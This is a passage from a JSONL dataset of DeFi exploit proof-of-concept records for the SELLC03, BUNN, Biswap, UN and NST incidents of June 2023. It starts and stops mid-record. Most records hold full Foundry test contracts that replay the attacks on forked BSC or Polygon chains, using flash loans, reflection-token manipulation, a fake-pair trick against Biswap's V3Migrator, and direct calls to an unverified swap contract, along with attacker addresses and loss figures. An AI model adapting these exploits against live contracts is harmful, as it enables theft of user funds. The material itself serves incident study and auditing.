"https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d", "attack_contract": "https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~5955 USD", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[End] Attacker BUSD after exploit\", BUSD.balanceOf(address(this)), 18);\n\n DPPOracle.flashLoan(0, 1_243_763_239_827_755_213_151_683, address(this), abi.encode(address(this)));\n emit log_named_decimal_uint(\"[End] Attacker BUSD after exploit\", BUSD.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d", "keyinfo_attack_contract": "https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$6.0K", "content_richness_score": 5.91, "quality_estimate": "medium", "title": "UnverifiedContr_9ad32 Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : unclear US$\n// Attacker : https://bscscan.com/address/0x0060129430df7ea188be3d8818404a2d40896089\n// Attack Contract : https://bscscan.com/address/0x2cc392c0207d080aec0befe5272659d3bb8a7052\n// Vulnerable Contract : https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1\n// Attack Tx : https://bscscan.com/tx/0xe968e648b2353cea06fc3da39714fb964b9354a1ee05750a3c5cc118da23444b\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/EoceneSecurity/status/1668468933723328513\n\ninterface Miner {\n function setBNB(address token, address token1) external payable;\n function sendMiner(\n address token\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 SELLC = IERC20(0xa645995e9801F2ca6e2361eDF4c2A138362BADe4);\n Miner miner = Miner(0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1);\n Uni_Pair_V2 SELLC_USDT = Uni_Pair_V2(0x9523B023E1D2C490c65D26fad3691b024d0305D7);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IDPPOracle oracle = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 29_005_754);\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(SELLC), \"SELLC\");\n cheats.label(address(SELLC_USDT), \"SELLC_USDT\");\n cheats.label(address(Router), \"Router\");\n WBNB.approve(address(Router), type(uint256).max);\n USDT.approve(address(Router), type(uint256).max);\n SELLC.approve(address(Router), type(uint256).max);\n SELLC_USDT.approve(address(Router), type(uint256).max);\n }\n\n function testExploit() public {\n miner.setBNB{value: 0.01 ether}(address(SELLC), address(USDT));\n cheats.warp(block.timestamp + 1 * 86_400 + 1);\n oracle.flashLoan(600 * 1e18, 0, address(this), new bytes(1));\n emit log_named_decimal_uint(\n \"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(SELLC);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 200 * 1e18, 0, path, address(this), block.timestamp\n );\n path[0] = address(SELLC);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SELLC.balanceOf(address(this)) * 1 / 100, 0, path, address(this), block.timestamp\n );\n Router.addLiquidity(\n address(SELLC),\n address(USDT),\n SELLC.balanceOf(address(this)),\n USDT.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n ); // add SELLC-USDT Liquidity\n path[0] = address(WBNB);\n path[1] = address(SELLC);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 400 * 1e18, 0, path, address(this), block.timestamp\n );\n miner.sendMiner(address(SELLC));\n Router.removeLiquidity(\n address(SELLC), address(USDT), SELLC_USDT.balanceOf(address(this)), 0, 0, address(this), block.timestamp\n ); // remove SELLC-USDT Liquidity\n path[0] = address(SELLC);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SELLC.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n WBNB.transfer(address(oracle), 600 * 1e18);\n }\n}\n", "type": "exploit_poc", "protocol": "SELLC03", "date": "2023-06", "file_name": "SELLC03_exp.sol", "attack_vector": "flash_loan", "content_hash": "ae2b72b7d2e66899", "collected_at": "2026-01-07T10:59:16.512486", "_source": "postmortems", "chain": "bsc", "block_number": 29005754, "total_lost_raw": "unclear US$", "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0x0060129430df7ea188be3d8818404a2d40896089", "attack_contract": "https://bscscan.com/address/0x2cc392c0207d080aec0befe5272659d3bb8a7052", "vulnerable_contract": "https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1", "attack_tx": "https://bscscan.com/tx/0xe968e648b2353cea06fc3da39714fb964b9354a1ee05750a3c5cc118da23444b", "postmortem_url": null, "twitter_url": "https://twitter.com/EoceneSecurity/status/1668468933723328513", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "unclear US$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n miner.setBNB{value: 0.01 ether}(address(SELLC), address(USDT));\n cheats.warp(block.timestamp + 1 * 86_400 + 1);\n oracle.flashLoan(600 * 1e18, 0, address(this), new bytes(1));\n emit log_named_decimal_uint(\n \"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "unclear US$", "keyinfo_attacker": "https://bscscan.com/address/0x0060129430df7ea188be3d8818404a2d40896089", "keyinfo_attack_contract": "https://bscscan.com/address/0x2cc392c0207d080aec0befe5272659d3bb8a7052", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1", "keyinfo_attack_tx": "https://bscscan.com/tx/0xe968e648b2353cea06fc3da39714fb964b9354a1ee05750a3c5cc118da23444b", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/EoceneSecurity/status/1668468933723328513", "funds_lost_formatted": "Unknown", "content_richness_score": 8.08, "quality_estimate": "high", "title": "SELLC03 Exploit (2023-06)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/DecurityHQ/status/1671803688996806656\n// @TX\n// https://bscscan.com/tx/0x24a68d2a4bbb02f398d3601acfd87b09f543d935fc24862c314aaf64c295acdb\n// @Summary\n// Reelection token,call deliver function to decrease pairs token balance,and swap to get the profit.\n\ninterface Bunn is IERC20 {\n function deliver(\n uint256 tAmount\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Bunn constant BUNN = Bunn(0xc54AAecF5fA1b6c007d019a9d14dFb4a77CC3039);\n IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakePair constant Bunn_Wbnb_Poll = IPancakePair(0xb4B84375Ae9bb94d19F416D3db553827Be349520);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 29_304_627);\n }\n\n function testExploit() external {\n Bunn_Wbnb_Poll.swap(44 ether, 1_000_000_000_000, address(this), \"0x0\"); //44 bnb profit\n Bunn_Wbnb_Poll.swap(8 ether, 1_000_000_000_000, address(this), \"0x0\"); // 8 bnb profit\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n console.log(\"Before deliver,pair bunn balance:\", BUNN.balanceOf(address(Bunn_Wbnb_Poll)));\n BUNN.deliver(990_000_000_000);\n console.log(\"After deliver,pair bunn balance:\", BUNN.balanceOf(address(Bunn_Wbnb_Poll)));\n }\n}\n", "type": "exploit_poc", "protocol": "BUNN", "date": "2023-06", "file_name": "BUNN_exp.sol", "attack_vector": null, "content_hash": "f38e7c837dfcc05f", "collected_at": "2026-01-07T10:59:16.512534", "_source": "postmortems", "chain": "bsc", "block_number": 29304627, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 0.89, "quality_estimate": "low", "title": "BUNN Exploit (2023-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~72K\n// Attacker - https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b1976\n// Attack contract - https://bscscan.com/address/0x1d448e9661c5abfc732ea81330c6439b0aa449b5\n// Attack Tx : https://bscscan.com/tx/0xebe5248820241d8de80bcf66f4f1bfaaca62962824efaaa662db84bd27f5e47e, https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b1976\n\n// @Analysis - https://twitter.com/MetaTrustAlert/status/1674814217122349056?s=20\n\ninterface V3Migrator {\n struct MigrateParams {\n address pair; // the Uniswap v2-compatible pair\n uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)\n address token0;\n address token1;\n uint16 fee;\n int24 tickLower;\n int24 tickUpper;\n uint128 amount0Min; // must be discounted by percentageToMigrate\n uint128 amount1Min; // must be discounted by percentageToMigrate\n address recipient;\n uint256 deadline;\n bool refundAsETH;\n }\n\n function migrate(\n MigrateParams calldata params\n ) external returns (uint256 refund0, uint256 refund1);\n}\n\ninterface IBiswapFactoryV3 {\n function newPool(address tokenX, address tokenY, uint16 fee, int24 currentPoint) external returns (address);\n}\n\ncontract SimpleERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function balanceOf(\n address account\n ) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(address owner, address spender) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 amount) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by\n // decrementing then incrementing.\n _balances[to] += amount;\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _totalSupply += amount;\n unchecked {\n // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.\n _balances[account] += amount;\n }\n }\n\n function _approve(address owner, address spender, uint256 amount) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n }\n\n function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}\n\ncontract FakeToken is SimpleERC20 {\n uint256 token0Amount;\n uint256 token1Amount;\n\n constructor() SimpleERC20(\"fake\", \"fake\") {\n _mint(msg.sender, 10_000e18 * 1e18);\n }\n}\n\ncontract FakePair is SimpleERC20 {\n uint256 token0Amount;\n uint256 token1Amount;\n\n constructor() SimpleERC20(\"fakePair\", \"fakePair\") {\n _mint(msg.sender, 10_000e18 * 1e18);\n }\n\n function update(uint256 t0, uint256 t1) external {\n token0Amount = t0;\n token1Amount = t1;\n }\n\n function burn(\n address to\n ) external returns (uint256, uint256) {\n return (token0Amount, token1Amount);\n }\n}\n\ncontract ContractTest is Test {\n function setUp() public {\n // fork bsc\n uint256 forkId = vm.createFork(\"bsc\", 29_554_461);\n vm.selectFork(forkId);\n }\n\n function testExploit() public {\n V3Migrator migrator = V3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);\n IUniswapV2Pair pairToMigrate = IUniswapV2Pair(0x63b30de1A998e9E64FD58A21F68D323B9BcD8F85);\n address victimAddress = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;\n\n IBiswapFactoryV3 biswapV3 = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);\n //0. Preparations: create pool for fake tokens and transfer fake tokens to the migrator\n FakeToken fakeToken0 = new FakeToken();\n FakeToken fakeToken1 = new FakeToken();\n FakePair fakePair = new FakePair();\n biswapV3.newPool(address(fakeToken1), address(fakeToken0), 150, 1);\n fakeToken0.transfer(address(migrator), 1e9 * 1e18);\n fakeToken1.transfer(address(migrator), 1e9 * 1e18);\n\n uint256 liquidityValue = pairToMigrate.balanceOf(victimAddress);\n emit log_named_uint(\"liquidity to migrate\", liquidityValue);\n IERC20 token0 = IERC20(pairToMigrate.token0());\n IERC20 token1 = IERC20(pairToMigrate.token1());\n assert(token0.balanceOf(address(this)) == 0);\n\n //1. Burn victim's LP token and add liquidity with fake tokens\n V3Migrator.MigrateParams memory params = V3Migrator.MigrateParams(\n address(pairToMigrate),\n liquidityValue,\n address(fakeToken1),\n address(fakeToken0),\n 150,\n 10_000,\n 20_000,\n 0,\n 0,\n victimAddress,\n block.timestamp + 1 minutes,\n false\n );\n migrator.migrate(params);\n\n uint256 token0Balance = token0.balanceOf(address(migrator));\n uint256 token1Balance = token1.balanceOf(address(migrator));\n fakePair.update(token0Balance, token1Balance);\n emit log_named_decimal_uint(\"this token0 before\", token0.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"this token1 before\", token1.balanceOf(address(this)), 18);\n\n //2. Steal tokens\n fakePair.transfer(address(this), 1e9 * 1e18);\n fakePair.approve(address(migrator), 1e9 * 1e18);\n V3Migrator.MigrateParams memory params2 = V3Migrator.MigrateParams(\n address(fakePair),\n liquidityValue,\n address(token0),\n address(token1),\n 800,\n 10_000,\n 20_000,\n 0,\n 0,\n address(this),\n block.timestamp + 1 minutes,\n false\n );\n migrator.migrate(params2);\n\n assert(token0.balanceOf(address(this)) > 1e18);\n emit log_named_decimal_uint(\"this token0 after\", token0.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"this token1 after\", token1.balanceOf(address(this)), 18);\n }\n}\n", "type": "exploit_poc", "protocol": "Biswap", "date": "2023-06", "file_name": "Biswap_exp.sol", "attack_vector": null, "content_hash": "cbfbbd6b6e239685", "collected_at": "2026-01-07T10:59:16.512594", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~72K", "total_lost_usd": 72000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xebe5248820241d8de80bcf66f4f1bfaaca62962824efaaa662db84bd27f5e47e,", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~72K", "category": "unknown", "exploit_code": "function testExploit() public {\n V3Migrator migrator = V3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);\n IUniswapV2Pair pairToMigrate = IUniswapV2Pair(0x63b30de1A998e9E64FD58A21F68D323B9BcD8F85);\n address victimAddress = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;\n\n IBiswapFactoryV3 biswapV3 = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);\n //0. Preparations: create pool for fake tokens and transfer fake tokens to the migrator\n FakeToken fakeToken0 = new FakeToken();\n FakeToken fakeToken1 = new FakeToken();\n FakePair fakePair = new FakePair();\n biswapV3.newPool(address(fakeToken1), address(fakeToken0), 150, 1);\n fakeToken0.transfer(address(migrator), 1e9 * 1e18);\n fakeToken1.transfer(address(migrator), 1e9 * 1e18);\n\n uint256 liquidityValue = pairToMigrate.balanceOf(victimAddress);\n emit log_named_uint(\"liquidity to migrate\", liquidityValue);\n IERC20 token0 = IERC20(pairToMigrate.token0());\n IERC20 token1 = IERC20(pairToMigrate.token1());\n assert(token0.balanceOf(address(this)) == 0);\n\n //1. Burn victim's LP token and add liquidity with fake tokens\n V3Migrator.MigrateParams memory params = V3Migrator.MigrateParams(\n address(pairToMigrate),\n liquidityValue,\n address(fakeToken1),\n address(fakeToken0),\n 150,\n 10_000,\n 20_000,\n 0,\n 0,\n victimAddress,\n block.timestamp + 1 minutes,\n false\n );\n migrator.migrate(params);\n\n uint256 token0Balance = token0.balanceOf(address(migrator));\n uint256 token1Balance = token1.balanceOf(address(migrator));\n fakePair.update(token0Balance, token1Balance);\n emit log_named_decimal_uint(\"this token0 before\", token0.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"this token1 before\", token1.balanceOf(address(this)), 18);\n\n //2. Steal tokens\n fakePair.transfer(address(this), 1e9 * 1e18);\n fakePair.approve(address(migrator), 1e9 * 1e18);\n V3Migrator.MigrateParams memory params2 = V3Migrator.MigrateParams(\n address(fakePair),\n liquidityValue,\n address(token0),\n address(token1),\n 800,\n 10_000,\n 20_000,\n 0,\n 0,\n address(this),\n block.timestamp + 1 minutes,\n false\n );\n migrator.migrate(params2);\n\n assert(token0.balanceOf(address(this)) > 1e18);\n emit log_named_decimal_uint(\"this token0 after\", token0.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"this token1 after\", token1.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~72K", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xebe5248820241d8de80bcf66f4f1bfaaca62962824efaaa662db84bd27f5e47e,", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$72.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "Biswap Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~26K USD$\n// Attacker - https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366\n// Attack contract - https://bscscan.com/address/0x98e241bd3be918e0d927af81b430be00d86b04f9\n// Attack Tx : https://bscscan.com/tx/0xff5515268d53df41d407036f547b206e288b226989da496fda367bfeb31c5b8b\n\n// @Analysis - https://twitter.com/MetaTrustAlert/status/1667041877428932608\n\ncontract ContractTest is Test {\n IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 UN = IERC20(0x1aFA48B74bA7aC0C3C5A2c8B7E24eB71D440846F);\n IUniswapV2Pair Pair = IUniswapV2Pair(0x5F739a4AdE4341D4AEe049E679095BcCbe904Ee1);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_864_173);\n cheats.label(address(DPPOracle), \"DPPOracle\");\n cheats.label(address(BUSD), \"BUSD\");\n cheats.label(address(UN), \"UN\");\n cheats.label(address(this), \"AttackerContract\");\n cheats.label(address(Pair), \"Pair\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n // End of preparation. Attack start\n DPPOracle.flashLoan(0, 29_100 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker BUSD balance after attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n (uint256 UNReserve, uint256 USDReserve,) = Pair.getReserves();\n uint256 amountIn = BUSD.balanceOf(address(this));\n uint256 amountOut = (9970 * amountIn * UNReserve) / (10_000 * USDReserve + 9970 * amountIn);\n BUSD.transfer(address(Pair), amountIn);\n Pair.swap(amountOut, 0, address(this), new bytes(0));\n\n UN.transfer(address(Pair), UN.balanceOf(address(this)) * 93 / 100);\n Pair.skim(address(this));\n UN.transfer(address(Pair), UN.balanceOf(address(this)) * 90 / 100);\n Pair.skim(address(this));\n UN.transfer(address(Pair), UN.balanceOf(address(this)) * 80 / 100);\n Pair.skim(address(this));\n\n (UNReserve, USDReserve,) = Pair.getReserves();\n amountIn = UN.balanceOf(address(this));\n amountOut = (9970 * amountIn * USDReserve) / (10_000 * UNReserve + 9970 * amountIn);\n UN.transfer(address(Pair), amountIn);\n Pair.swap(0, amountOut, address(this), new bytes(0));\n\n BUSD.transfer(address(DPPOracle), 29_100 * 1e18);\n }\n}\n", "type": "exploit_poc", "protocol": "UN", "date": "2023-06", "file_name": "UN_exp.sol", "attack_vector": "flash_loan", "content_hash": "fc1f328826aa702d", "collected_at": "2026-01-07T10:59:16.512659", "_source": "postmortems", "chain": "bsc", "block_number": 28864173, "total_lost_raw": "~26K USD$", "total_lost_usd": 26000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xff5515268d53df41d407036f547b206e288b226989da496fda367bfeb31c5b8b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~26K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n // End of preparation. Attack start\n DPPOracle.flashLoan(0, 29_100 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker BUSD balance after attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~26K USD$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xff5515268d53df41d407036f547b206e288b226989da496fda367bfeb31c5b8b", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$26.0K", "content_richness_score": 7.45, "quality_estimate": "medium", "title": "UN Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// REKT - NST Simple Swap\n// Write up Author\n// https://twitter.com/eugenioclrc\n// Reported on https://discord.com/channels/1100129537603407972/1100129538056396870/1114142216923926528\n// @TX\n// https://polygonscan.com/tx/0xa1f2377fc6c24d7cd9ca084cafec29e5d5c8442a10aae4e7e304a4fbf548be6d\n// https://openchain.xyz/trace/polygon/0xa1f2377fc6c24d7cd9ca084cafec29e5d5c8442a10aae4e7e304a4fbf548be6d\n// @Summary\n// Milktech is a software company that explores Polygon web3 technologies and recently ventured into\n// tokens and token payments. They created a token called NST, which maintains a constant price based\n// on USD. Several contracts were developed, with the main one being the swap contract. This contract\n// facilitates a straightforward exchange between two tokens: NST (the internal company token) and USDT,\n// ensuring a consistent price ratio. NST is an ERC-20 token with an additional role called the Minter,\n// allowing specific addresses to mint new tokens. Only the owner of the contract can assign this\n// role. The swap contract is ownable and features two primary functions: buyNST, which takes USDT as input,\n// and sellNST, which takes NST as input. Additionally, the contract includes the ability to pause trading\n// between the tokens. While the token itself was verified, the swap contract was not.\n\n// Exploit Address: https://polygonscan.com/address/0x3bb7a0f2fe88aba35408c64f588345481490fe93\n// Attacker Address: https://polygonscan.com/address/0xcb3585f3e09f0238a3f61838502590a23f15bb5b\n\ncontract NstExploitTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IERC20 usdt = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);\n IERC20 nst = IERC20(0x83eE54ccf462255ea3Ec56Fa8dE6797d679276e7);\n\n address swapper = 0x9D101E71064971165Cd801E39c6B07234B65aa88;\n\n function setUp() public {\n cheats.createSelectFork(\"polygon\", 43_430_814);\n vm.label(address(usdt), \"USDT\");\n vm.label(address(nst), \"NST\");\n vm.label(swapper, \"swapper\");\n\n assertEq(block.number, 43_430_814);\n }\n\n function testExploit() public {\n usdt.approve(swapper, type(uint256).max);\n nst.approve(swapper, type(uint256).max);\n\n // the attacker use balancer to take a flashloan of 40k usd, im gonna mock it\n // to make it simpler to read\n deal(address(usdt), address(this), 40_000_000_000); // 40k usd, usdt has 6 decimals\n\n (bool ret, bytes memory data) = swapper.call(abi.encodeWithSelector(bytes4(0x6e41592c), 40_000_000_000));\n require(ret, \"call failed\");\n uint256 retAmount = abi.decode(data, (uint256));\n\n (ret, data) = swapper.call(abi.encodeWithSelector(bytes4(0x7cd0599b), retAmount));\n require(ret, \"call2 failed\");\n\n usdt.transferFrom(swapper, address(this), 31_559_083_207);\n\n console.log(\"USDT Theft\", usdt.balanceOf(address(this)) - 40_000_000_000);\n }\n}\n", "type": "exploit_poc", "protocol": "NST", "date": "2023-06", "file_name": "NST_exp.sol", "attack_vector": "flash_loan", "content_hash": "8eda1bab284990fe", "collected_at": "2026-01-07T10:59:16.512702", "_source": "postmortems", "chain": "polygon", "block_number": 43430814, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n usdt.approve(swapper, type(uint256).max);\n nst.approve(swapper, type(uint256).max);\n\n // the attacker use balancer to take a flashloan of 40k usd, im gonna mock it\n // to make it simpler to read\n deal(address(usdt), address(this), 40_000_000_000); // 40k usd, usdt has 6 decimals\n\n (bool ret, bytes memory data) = swapper.call(abi.encodeWithSelector(bytes4(0x6e41592c), 40_000_000_000));\n require(ret, \"call failed\");\n uint256 retAmount = abi.decode(data, (uint256));\n\n (ret, data) = swapper.call(abi.encodeWithSelector(bytes4(0x7cd0599b), retAmount));\n require(ret, \"call2 failed\");\n\n usdt.transferFrom(swapper, address(this), 31_559_083_207);\n\n console.log(\"USDT Theft\", usdt.balanceOf(address(this)) - 40_000_000_000);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": 